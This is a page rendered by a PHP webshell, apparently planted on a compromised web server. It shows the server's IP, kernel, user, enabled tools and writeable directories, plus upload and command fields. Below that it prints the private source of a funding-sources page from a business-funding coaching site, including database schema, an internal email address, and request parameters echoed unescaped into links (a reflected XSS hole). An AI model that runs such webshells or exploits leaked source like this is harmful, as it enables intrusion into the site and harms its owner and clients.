403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/coaching_sites/usbusinessfundingsolutions.com/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/coaching_sites/usbusinessfundingsolutions.com/member/funding-sources.php
<?php 
require_once($_SERVER['DOCUMENT_ROOT'].'/inc/php_header.php');
$title = 'Funding Sources'; 
$body_id = 'funding_sources';

$filter_button = 'Show All';
if(!empty($_REQUEST['filter'])) {
	$filter_button = $_REQUEST['filter'];
}

$sort_button = 'Date Added';
if(!empty($_REQUEST['sort'])) {
	$sort_button = $_REQUEST['sort'];
}

$funding_found = 0;
$profiles = $db->get_results("
	SELECT id,date_entered
	FROM client_profile
	WHERE client_id = '".$db->clean($_SESSION['Client']['id'])."'
	LIMIT 1;
");
if(!empty($profiles)) {
	$profile = $profiles[0];
	$profile_id = $profile->id;
	$grdb_profile_id_arr = $db->get_results("SELECT profiles_id FROM grdb.grd_profiles WHERE site_code='synment' AND site_profiles_id='{$profile_id}'");
	$grdb_profile_id = $grdb_profile_id_arr[0]->profiles_id;
	
	$research_coach_arr = $db->get_results("SELECT fname,email,ext FROM grdb.grd_users WHERE users_id=(SELECT assigned_agent FROM grdb.grd_profiles WHERE profiles_id='".$db->clean($grdb_profile_id)."')");
	$research_coach = $research_coach_arr[0]->email;
	$research_coach_name = $research_coach_arr[0]->fname;
	$research_coach_phone = "(800) 858-1052 ext ".$research_coach_arr[0]->ext;
	if($research_coach=='jeremy@synergytpsreports.com') {
		$research_coach = 'example_research_coach@example.com';
		$research_coach_phone = '(555) 555-5555 ext 5';
	}
	
	$my_grants = $db->get_results("SELECT p.grants_id as id,t.name as type,g.name,g.amount,g.deadline,n.note,g.funding_type,g.department,g.agency,g.term_of_contract,g.contact_information,g.preapplication_information FROM grdb.grd_grants_profiles p
	LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
	LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
	LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
	WHERE p.profiles_id='{$grdb_profile_id}'
	AND p.published='1'
	AND p.grants_id NOT IN (SELECT grants_id FROM grdb.grd_grants_profiles_ignore WHERE profiles_id='{$grdb_profile_id}' AND (interested=1 OR ignored=1 OR applied=1))
	AND g.grants_id IS NOT NULL");
	
	$res = $db->get_results("SELECT date_ordered FROM lc2synment_lc.lc_reseller WHERE id='".$db->clean($_SESSION['Client']['id'])."'");
	$date_ordered = $res[0]->date_ordered;
	$exec_summary_arr = $db->get_results("SELECT summary FROM grdb.grd_profiles_executive_summary WHERE profiles_id='".$db->clean($grdb_profile_id)."' AND published='1'");
	$executive_summary = (empty($exec_summary_arr)) ? 'Your coach has not completed your executive summary yet.' : $exec_summary_arr[0]->summary;
	
	$my_grants_all = $db->get_results("SELECT grants_id as id
	FROM grdb.grd_grants_profiles p
	WHERE profiles_id='{$grdb_profile_id}'
	AND published='1'");
	
	$my_grant_ids = array();
	if(!empty($my_grants_all)) {
		foreach($my_grants_all as $grant) {
			$my_grant_ids[] = $grant->id;
		}
	}
	$funding_found = count($my_grant_ids);
	
	$sort_order = 'ORDER BY p.published_ts DESC';
	switch($sort_button) {
		case 'Date Added':
			$sort_order = 'ORDER BY p.published_ts DESC';
			break;
		case 'Grant Name':
			$sort_order = 'ORDER BY g.name ASC';
			break;
		case 'Deadline':
			$sort_order = 'ORDER BY g.deadline ASC';
			break;
		case 'Amount':
			$sort_order = 'ORDER BY g.amount DESC';
			break;
	}
	
	if($filter_button == 'Show All') {
		$grants = $db->get_results("SELECT p.grants_id as id,t.name as type,ggl.bg_color_hex,ggl.logo_url,g.name,g.amount,g.deadline,n.note,g.who,g.requirements,g.description,g.url,g.base_url,i.applied,i.interested,i.ignored,g.funding_type,g.department,g.agency,g.term_of_contract,g.contact_information,g.preapplication_information,g.additional_eligibility_requirements,g.org_name,g.org_address,g.org_city,g.org_state,g.org_zip,g.org_phone1,g.org_email,g.org_url,g.only_available_state,g.only_available_gender
								FROM grdb.grd_grants_profiles p
								LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
								LEFT JOIN grdb.grd_grants_profiles_ignore i ON i.profiles_id=p.profiles_id AND i.grants_id=g.grants_id
								LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
								LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
								LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=g.base_url AND ggl.status='active'
								WHERE p.profiles_id='{$grdb_profile_id}'
								AND p.published='1'
								AND g.grants_id IS NOT NULL
								GROUP BY p.grants_id
								{$sort_order}");
	} elseif($filter_button == 'Liked') {
		$grants = $db->get_results("SELECT p.grants_id as id,t.name as type,ggl.bg_color_hex,ggl.logo_url,g.name,g.amount,g.deadline,n.note,g.who,g.requirements,g.description,g.url,g.base_url,i.applied,i.interested,i.ignored,g.funding_type,g.department,g.agency,g.term_of_contract,g.contact_information,g.preapplication_information,g.additional_eligibility_requirements,g.org_name,g.org_address,g.org_city,g.org_state,g.org_zip,g.org_phone1,g.org_email,g.org_url,g.only_available_state,g.only_available_gender
								FROM grdb.grd_grants_profiles_ignore i
								LEFT JOIN grdb.grd_grants g ON g.grants_id=i.grants_id
								LEFT JOIN grdb.grd_grants_profiles p ON i.profiles_id=p.profiles_id AND i.grants_id=g.grants_id
								LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
								LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
								LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=g.base_url AND ggl.status='active'
								WHERE p.profiles_id='{$grdb_profile_id}' AND interested='1'
								AND g.grants_id IS NOT NULL
								GROUP BY i.grants_id
								{$sort_order}");
	} elseif($filter_button == 'Applied') {
		$grants = $db->get_results("SELECT p.grants_id as id,t.name as type,ggl.bg_color_hex,ggl.logo_url,g.name,g.amount,g.deadline,n.note,g.who,g.requirements,g.description,g.url,g.base_url,i.applied,i.interested,i.ignored,g.funding_type,g.department,g.agency,g.term_of_contract,g.contact_information,g.preapplication_information,g.additional_eligibility_requirements,g.org_name,g.org_address,g.org_city,g.org_state,g.org_zip,g.org_phone1,g.org_email,g.org_url,g.only_available_state,g.only_available_gender
								FROM grdb.grd_grants_profiles_ignore i
								LEFT JOIN grdb.grd_grants g ON g.grants_id=i.grants_id
								LEFT JOIN grdb.grd_grants_profiles p ON i.profiles_id=p.profiles_id AND i.grants_id=g.grants_id
								LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
								LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
								LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=g.base_url AND ggl.status='active'
								WHERE p.profiles_id='{$grdb_profile_id}' AND applied='1'
								AND g.grants_id IS NOT NULL
								GROUP BY i.grants_id
								{$sort_order}");
	} elseif($filter_button == 'Not Interested') {
		$grants = $db->get_results("SELECT p.grants_id as id,t.name as type,ggl.bg_color_hex,ggl.logo_url,g.name,g.amount,g.deadline,n.note,g.who,g.requirements,g.description,g.url,g.base_url,i.applied,i.interested,i.ignored,g.funding_type,g.department,g.agency,g.term_of_contract,g.contact_information,g.preapplication_information,g.additional_eligibility_requirements,g.org_name,g.org_address,g.org_city,g.org_state,g.org_zip,g.org_phone1,g.org_email,g.org_url,g.only_available_state,g.only_available_gender
								FROM grdb.grd_grants_profiles_ignore i
								LEFT JOIN grdb.grd_grants g ON g.grants_id=i.grants_id
								LEFT JOIN grdb.grd_grants_profiles p ON i.profiles_id=p.profiles_id AND i.grants_id=g.grants_id
								LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
								LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
								LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=g.base_url AND ggl.status='active'
								WHERE p.profiles_id='{$grdb_profile_id}' AND ignored='1'
								AND g.grants_id IS NOT NULL
								GROUP BY i.grants_id
								{$sort_order}");
	}
} else {
	$my_grants = array();
	$grants = array();
	$executive_summary = 'Your coach has not completed your executive summary yet.';
	$date_ordered = '0000-00-00';
}

$summary = array();
$summary_total = array();
$summary_total['count'] = 0;
$summary_total['amount'] = 0;
$summary_colors = array();
$summary_colors['Grant'] = '#1474ff';
$summary_colors['Loan'] = '#cb7925';
$summary_colors['Contract'] = '#BB3333';
$summary_colors['Investor'] = '#d1c63b';
$summary_colors['Other'] = '#67a349';
$summary_colors['Scholarship'] = '#a249a3';
$summary_colors['Forgivable Loan'] = '#42dae6';
if(!empty($grants)) {
	foreach($grants as $r) {
		if(empty($summary[$r->type])) {
			$summary[$r->type] = array();
			$summary[$r->type]['count'] = 0;
			$summary[$r->type]['amount'] = 0;
		}
		$summary[$r->type]['count']++;
		$summary[$r->type]['amount'] += $r->amount*1;
		$summary_total['count']++;
		$summary_total['amount'] += $r->amount*1;
	}
}

require_once($_SERVER['DOCUMENT_ROOT'].'/member/header_new_2021_06_29.php');
?>
<link rel="stylesheet" href="/css/fontawesome/6.0/css/all.min.css" />
<link href="https://fonts.googleapis.com/css?family=Shadows+Into+Light" rel="stylesheet">
<style type="text/css">
	#content .real_content div {
		padding:0px;
	}
	.search_filters {
		margin-left: 40px;
		background: #f7f6f6;
		padding:10px !important;
		font-family:Helvetica;
	}
	.search_filter {
		margin:10px 0px;
	}
	.filter_text {
		font-weight:bold;
		color: #929292;
		font-size:18px;
		display:inline-block;
		vertical-align:middle;
	}
	.filter_button {
		display:inline-block;
		vertical-align:middle;
		padding:5px 10px !important;
		border:1px solid black;
		margin:0px 10px;
		cursor:pointer;
	}
	.mark_button {
		display:inline-block;
		vertical-align:middle;
		padding:5px !important;
		border:1px solid black;
		margin:5px 1px;
		cursor:pointer;
		font-size:12px;
	}
	.filter_button a {
		text-decoration:none;
		color:inherit !important;
		display:block;
	}
	.filter_button a:hover {
		text-decoration:none !important;
		border-bottom:none !important;
	}
	.funding_amount {
		color:#7ea62f;
		font-weight:bold;
		font-size:24px;
	}
	.funding_type {
		color:#999999;
		font-weight:bold;
		font-size:24px;
	}
	.deadline {
		font-family: TexGyro;
		font-weight:bold;
		font-size:20px;
	}
	.funding_number_image {
		display:inline-block;
		vertical-align:top;
		width:50px;
	}
	.funding_number {
		font-size:20px;
		font-weight:bold;
		display:inline-block;
		vertical-align:top;
	}
	.funding_info {
		display:inline-block;
		vertical-align:top;
		width:calc(100% - 70px);
	}
	.funding_info_left_side {
		float:left;
		width:calc(100% - 310px);
		margin-right:20px;
		word-break:break-word;
		min-height:600px;
	}
	#content .funding_info_left_side .description p, #content .funding_info_left_side .description div {
		padding-left:10px;
	}
	.funding_info_right_side {
		float:left;
		width:280px;
	}
	.funding_source {
		margin:20px 0px;
		border-bottom:1px solid black;
	}
	.funding_source h4 {
		margin:20px 0px 0px 0px;
	}
	.funding_mark_buttons {
		display:inline-block;
		vertical-align:top;
		padding:10px !important;
		font-family:Helvetica;
	}
	.funding_summary {
		float:right;
		margin-left:20px;
		width:400px;
		border:1px solid gray;
		padding:0px !important;
	}
	
	@media only screen and (max-width: 600px) {
		.funding_info_left_side {
			width:100%;
			margin-right:0px;
			float:none;
			min-height:auto;
		}
		.funding_summary {
			width:100%;
			margin-left:0px;
			float:none;
			margin-bottom:20px;
		}
	}
</style>
<script type="text/javascript">
	function mark_funding(me,type,id) {
		var str = 'type=' + encodeURIComponent(type) + '&id=' + encodeURIComponent(id);
		$.ajax
		({
			cache: false,
			data: str,
			type: "POST",
			url: "/member/ajax/mark_funding.php",
			success: function(data)
			{
				$(me)[0].outerHTML = data;
			},error: function(jqXHR, textStatus, errorThrown) {
				alert(textStatus+': '+errorThrown);
			}
		});
	}
	
	function report_broken_link(id) {
		var str = 'type=' + encodeURIComponent(type) + '&id=' + encodeURIComponent(id);
		$.ajax
		({
			cache: false,
			data: str,
			type: "POST",
			url: "/member/ajax/report_broken_link.php",
			success: function(data)
			{
				alert("Thank you for reporting that this link is bad. Our researchers have been notified and will fix it soon.");
			},error: function(jqXHR, textStatus, errorThrown) {
				alert(textStatus+': '+errorThrown);
			}
		});
	}
	
	function make_internal_popup(data) {
		$('body').append('<div id="id-popup-overlay"></div>');
		$('body').append('<div id="id-popup-container"></div>');
		$('#id-popup-overlay').attr('style','z-index:10012;position:fixed;top:0px;left:0px;bottom:0px;right:0px;background:rgba(0,0,0,.6);');
		$('#id-popup-container').attr('style','z-index:10013;position:fixed;top:0px;left:0px;background:white;border-radius:16px;padding:15px;overflow:auto;');
		$('#id-popup-container').html('<img src="/images/notebook_close_24x24.png" style="position:absolute;top:4px;right:5px;width:24px;height:24px;cursor:pointer;" id="id-popup-close-button" onclick="$(\'#id-popup-container\').remove(); $(\'#id-popup-overlay\').remove();" />');
		$('#id-popup-container').append(data);
		$('#id-popup-container').css('max-height',$(window).height()*0.9);
		$('#id-popup-container').css('max-width',$(window).width()*0.9);
		$('#id-popup-container').css('left',$(window).width()*0.9/2 - $('#id-popup-container').width()*0.9/2);
		$('#id-popup-container').css('top',$(window).height()*0.9/2 - $('#id-popup-container').height()*0.9/2);
	}
	
	function show_send_email() {
		var html = '<form onsubmit="really_send_email(this); return false;" style="padding:20px;">' +
						'<input type="hidden" name="research_coach" value="<?= $research_coach;?>" />' +
						'<textarea name="question" placeholder="Message for coach" style="width:300px;height:200px;border:1px solid black;"></textarea>' +
						'<div><input type="submit" name="submit" value="Send" class="btnMore btnBlue" style="margin-top:5px;color:white;padding:5px 10px;cursor:pointer;" /></div>' +
					'</form>';
		make_internal_popup(html);
	}
	
	function really_send_email(frm) {
		var str = '';
		if($(frm).find('textarea').val()=='') {
			alert("Please enter a question.");
		} else {
			$(frm).find('input,textarea').each(function() {
				str += (str=='') ? '' : '&';
				str += encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
			});
			$.ajax
			({
				cache: false,
				data: str,
				type: "POST",
				url: "/member/ajax/send_research_question.php",
				success: function(data)
				{
					alert("Email Sent");
					$('#id-popup-close-button').click();
				},error: function(jqXHR, textStatus, errorThrown) {
					alert(textStatus+': '+errorThrown);
				}
			});
		}
	}
</script>
<div id="content" class="size">
	<div>
		<div class="funding_summary">
			<div style="font-size:24px;color:white;background:gray;font-weight:bold;font-style:italic;text-align:center;padding:10px;">Summary of Funding</div>
			<table style="width:100%;border-collapse:collapse;">
				<tr>
					<td style="padding:5px 10px;width:33%;color:gray;font-size:16px;font-weight:bold;border-bottom:1px solid gray;">Type</td>
					<td style="padding:5px 10px;width:33%;color:gray;font-size:16px;font-weight:bold;border-bottom:1px solid gray;">#</td>
					<td style="padding:5px 10px;width:33%;color:gray;font-size:16px;font-weight:bold;border-bottom:1px solid gray;">Amount</td>
				</tr>
				<?php foreach($summary_colors as $k=>$v) {
					if(!empty($summary[$k])) { ?>
				<tr>
					<td style="padding:5px 10px;width:33%;color:<?= $v;?>;font-size:16px;font-weight:bold;"><?= $k;?></td>
					<td style="padding:5px 10px;width:33%;color:<?= $v;?>;font-size:16px;font-weight:bold;"><?= (empty($summary[$k]['count'])) ? 0 : number_format($summary[$k]['count']);?></td>
					<td style="padding:5px 10px;width:33%;color:<?= $v;?>;font-size:16px;font-weight:bold;">$<?= (empty($summary[$k]['count'])) ? 0 : number_format(round($summary[$k]['amount']));?></td>
				</tr>
				<?php }
				} ?>
				<tr>
					<td style="padding:5px 10px;width:33%;color:black;font-size:16px;font-weight:bold;border-top:1px solid white;">&nbsp;</td>
					<td style="padding:5px 10px;width:33%;color:black;font-size:16px;font-weight:bold;border-top:1px solid black;"><?= (empty($summary_total['count'])) ? 0 : number_format($summary_total['count']);?></td>
					<td style="padding:5px 10px;width:33%;color:black;font-size:16px;font-weight:bold;border-top:1px solid black;">$<?= (empty($summary_total['count'])) ? 0 : number_format(round($summary_total['amount']));?></td>
				</tr>
			</table>
		</div>
		<h1><img src="/member/images/icon_funding_sources.png" class="funding_title_icon" /> Funding Sources</h1>
		<p>Your Funding Researcher is <strong><?= $research_coach_name;?></strong>. All funding sources will be posted to this page as they find new ones for you to apply to so check this page often!  You will also receive an email once new applications have been posted.  You can mark each of the opportunities as "Liked", "Applied", or "Not Interested".  You can also sort the results using the filters below.
		<p>If you have any questions about these funding sources you can contact your coach by <a href="#" onclick="show_send_email(); return false;">clicking here</a>.</p>
		<p><?= $funding_found;?> funding sources have been found for you to apply.</p>
		<div style="clear:both;"></div>
		<hr />
		<div class="real_content">
			<div class="search_filters">
				<div class="search_filter">
					<div class="filter_text">
						<i class="far fa-filter"></i> Filter Results
					</div>
					<?php if($filter_button=='Show All') { ?>
					<div class="filter_button" style="background:#606060;color:white;"><a href="funding-sources.php?filter=Show All&sort=<?= $sort_button;?>">Show All</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=Show All&sort=<?= $sort_button;?>">Show All</a></div>
					<?php } ?>
					<?php if($filter_button=='Liked') { ?>
					<div class="filter_button" style="background:#af3a11;color:white;"><a href="funding-sources.php?filter=Show All&sort=<?= $sort_button;?>"><i class="fa fa-heart"></i> Liked</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=Liked&sort=<?= $sort_button;?>"><i class="fas fa-heart" style="color:#af3a11;"></i> Liked</a></div>
					<?php } ?>
					<?php if($filter_button=='Applied') { ?>
					<div class="filter_button" style="background:#c6b742;color:white;"><a href="funding-sources.php?filter=Show All&sort=<?= $sort_button;?>"><i class="fa fa-check-square"></i> Applied</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=Applied&sort=<?= $sort_button;?>"><i class="fas fa-check-square" style="color:#c6b742;"></i> Applied</a></div>
					<?php } ?>
					<?php if($filter_button=='Not Interested') { ?>
					<div class="filter_button" style="background:#7a7a7a;color:white;"><a href="funding-sources.php?filter=Show All&sort=<?= $sort_button;?>"><i class="fa fa-times-circle"></i> Not Interested</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=Not Interested&sort=<?= $sort_button;?>"><i class="fas fa-times-circle" style="color:#7a7a7a;"></i> Not Interested</a></div>
					<?php } ?>
				</div>
				<div class="search_filter">
					<div class="filter_text">
						<i class="far fa-sort-amount-down"></i> Sort Results
					</div>
					<?php if($sort_button=='Date Added') { ?>
					<div class="filter_button" style="background:#606060;color:white;"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Date Added">Date Added</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Date Added">Date Added</a></div>
					<?php } ?>
					<?php if($sort_button=='Grant Name') { ?>
					<div class="filter_button" style="background:#606060;color:white;"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Grant Name">Grant Name</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Grant Name">Grant Name</a></div>
					<?php } ?>
					<?php if($sort_button=='Deadline') { ?>
					<div class="filter_button" style="background:#606060;color:white;"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Deadline">Deadline</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Deadline">Deadline</a></div>
					<?php } ?>
					<?php if($sort_button=='Amount') { ?>
					<div class="filter_button" style="background:#606060;color:white;"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Amount">Amount</a></div>
					<?php } else { ?>
					<div class="filter_button"><a href="funding-sources.php?filter=<?= $filter_button;?>&sort=Amount">Amount</a></div>
					<?php } ?>
				</div>
			</div>
			<div style="margin:10px 0px;"><i>Displaying <?= count($grants);?> of <?= $funding_found;?> funding sources found for you.</i></div>
			<hr />
			<?php $i=0; foreach($grants as $grant) { $i++; ?>
			<div class="funding_source">
				<div class="funding_number_image">
					<div class="funding_number"><?= $i;?></div>
				</div>
				<div class="funding_info">
					<div class="funding_info_left_side">
						<div class="funding_image">
							<?php if(!empty($grant->logo_url)) { ?>
								<img src="<?= $grant->logo_url;?>" style="background:<?= $grant->bg_color_hex;?>;height:100px;max-width:100%;float:none;" onerror="$(this).remove();" />
							<?php } ?>
						</div>
						<h1><?= $grant->name;?></h1>
						<?php if(!empty($grant->description)) { ?>
						<h4>DESCRIPTION</h4>
						<div class="description">
							<p><?= $grant->description;?></p>
						</div>
						<?php } ?>
						<?php if(!empty($grant->requirements)) { ?>
						<h4>REQUIREMENTS</h4>
						<p style="padding-left:10px;"><?= $grant->requirements;?></p>
						<?php } ?>
						<?php if(!empty($grant->additional_eligibility_requirements)) { ?>
						<h4>ADDITIONAL ELIGIBILITY REQUIREMENTS</h4>
						<p style="padding-left:10px;"><?= $grant->additional_eligibility_requirements;?></p>
						<?php } ?>
						<?php if(!empty($grant->funding_type)) { ?>
						<h4>AGENCY TYPE</h4>
						<p style="padding-left:10px;"><?= $grant->funding_type;?></p>
						<?php } ?>
						<?php if(!empty($grant->term_of_contract)) { ?>
						<h4>TERM OF CONTRACT</h4>
						<p style="padding-left:10px;"><?= $grant->term_of_contract;?></p>
						<?php } ?>
						<?php if(!empty($grant->contact_information)) { ?>
						<h4>CONTACT INFORMATION</h4>
						<p style="padding-left:10px;"><?= $grant->contact_information;?></p>
						<?php } ?>
						<?php if(!empty($grant->preapplication_information)) { ?>
						<h4>PRE-APPLICATION INFORMATION</h4>
						<p style="padding-left:10px;"><?= $grant->preapplication_information;?></p>
						<?php } ?>
						<?php if(!empty($grant->org_name)) { ?>
						<h4>ORGANIZATION INFO</h4>
						<div style="padding-left:5px;">
							<table>
								<?php if(!empty($grant->org_name)) { ?>
								<tr>
									<td style="padding:5px;">Name:</td>
									<td style="padding:5px;"><?= $grant->org_name;?></td>
								</tr>
								<?php } ?>
								<?php if(!empty($grant->address)) { ?>
								<tr>
									<td style="padding:5px;">Address:</td>
									<td style="padding:5px;">
										<?= $grant->org_address;?><br />
										<?= $grant->org_city.', '.$grant->org_state.', '.$grant->org_zip;?>
									</td>
								</tr>
								<?php } ?>
								<?php if(!empty($grant->org_phone1)) { ?>
								<tr>
									<td style="padding:5px;">Phone:</td>
									<td style="padding:5px;"><?= $grant->org_phone1;?></td>
								</tr>
								<?php } ?>
								<?php if(!empty($grant->org_email)) { ?>
								<tr>
									<td style="padding:5px;">Email:</td>
									<td style="padding:5px;"><?= $grant->org_email;?></td>
								</tr>
								<?php } ?>
								<?php if(!empty($grant->org_url)) { ?>
								<tr>
									<td style="padding:5px;white-space:nowrap;">Website:</td>
									<td style="padding:5px;word-break:break-all;"><?= $grant->org_url;?></td>
								</tr>
								<?php } ?>
							</table>
						</div>
						<?php } ?>
						<?php if(!empty($grant->url)) { ?>
						<div style="margin:10px 0px;">
							<h4 style="display:inline-block;vertical-align:middle;margin:0px;">Link:</h4>
							<div style="display:inline-block;vertical-align:middle;"><a href="<?= (strpos($grant->url,'http')===false) ? 'http://'.$grant->url : $grant->url;?>" target="_blank"><?= $grant->url;?></a></div>
							<div style="margin-top:10px;">	
								<button style="color:#ff8a84;padding:3px 6px;cursor:pointer;font-size:10px;" onclick="report_broken_link('<?= $grant->id;?>'); return false;"><i class="fa fa-unlink fa2x"></i> Report Broken Link</button>
							</div>
						</div>
						<?php } ?>
					</div>
					<div class="funding_info_right_side">
						<div class="deadline">
							<div style="font-size:12px;">Deadline:</div>
							<div><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : date('M j, Y',strtotime($grant->deadline));?></div>
						</div>
						<div class="funding_amount" style="margin:10px 0px;">
							<div style="font-size:12px;">Amount:</div>
							<div><?= ($grant->amount=='0.00') ? 'Varies' : '$'.number_format($grant->amount,2);?></div>
						</div>
						<div class="funding_type" style="margin:10px 0px;">
							<div style="font-size:12px;">Funding Type:</div>
							<div><?= $grant->type;?></div>
						</div>
						<?php if(!empty($grant->only_available_state) && $grant->only_available_state!='Any') { ?>
						<div style="margin:10px 0px;"><h4 style="display:inline-block;vertical-align:middle;margin:0px;">ONLY AVAILABLE STATE:</h4> <div style="display:inline-block;vertical-align:middle;"><?= $grant->only_available_state;?></div></div>
						<?php } ?>
						<?php if(!empty($grant->only_available_gender) && $grant->only_available_gender!='Any') { ?>
						<div style="margin:10px 0px;"><h4 style="display:inline-block;vertical-align:middle;margin:0px;">ONLY AVAILABLE GENDER:</h4> <div style="display:inline-block;vertical-align:middle;"><?= $grant->only_available_gender;?></div></div>
						<?php } ?>
						<center>
							<div class="funding_mark_buttons">
								<div><i>Click to mark as:</i></div>
								<div>
									<?php if(!empty($grant->interested)) { ?>
									<div class="mark_button" style="background:#af3a11;color:white;" onclick="mark_funding(this,'interested','<?= $grant->id;?>'); return false;"><i class="fa fa-heart"></i> Liked</div>
									<?php } else { ?>
									<div class="mark_button" onclick="mark_funding(this,'interested','<?= $grant->id;?>'); return false;"><i class="fas fa-heart" style="color:#af3a11;"></i> Liked</div>
									<?php } ?>
									<?php if(!empty($grant->applied)) { ?>
									<div class="mark_button" style="background:#c6b742;color:white;" onclick="mark_funding(this,'applied','<?= $grant->id;?>'); return false;"><i class="fa fa-check-square"></i> Applied</div>
									<?php } else { ?>
									<div class="mark_button" onclick="mark_funding(this,'applied','<?= $grant->id;?>'); return false;"><i class="fas fa-check-square" style="color:#c6b742;"></i> Applied</div>
									<?php } ?>
									<?php if(!empty($grant->ignored)) { ?>
									<div class="mark_button" style="background:#7a7a7a;color:white;" onclick="mark_funding(this,'ignored','<?= $grant->id;?>'); return false;"><i class="fa fa-times-circle"></i> Not Interested</div>
									<?php } else { ?>
									<div class="mark_button" onclick="mark_funding(this,'ignored','<?= $grant->id;?>'); return false;"><i class="fas fa-times-circle" style="color:#7a7a7a;"></i> Not Interested</div>
									<?php } ?>
								</div>
							</div>
						</center>
						<?php if(!empty($grant->note)) { ?>
						<div style="margin-top:10px;">
							<div style="position:relative; width:250px;padding:30px 20px; margin:0px auto; background:#fff27a;color:#3c3a24;transform:rotate(-2deg);">
								<img src="/member/images/sticky_note_pin.png" style="position:absolute;left:125px;top:-20px;width:50px;" />
								<div style="margin-bottom:10px;font-size:18px;font-weight:bold;font-family:Arial;text-align:center;">NOTE FROM <?= strtoupper($research_coach_name);?></div>
								<div style="font-family:'Shadows Into Light';font-size:20px;"><?= $grant->note;?></div>
							</div>
						</div>
						<?php } ?>
					</div>
					<div style="clear:both;"></div>
				</div>
			</div>
			<?php } ?>
		</div>
	</div>
</div>

<?php require_once($_SERVER['DOCUMENT_ROOT'].'/member/footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit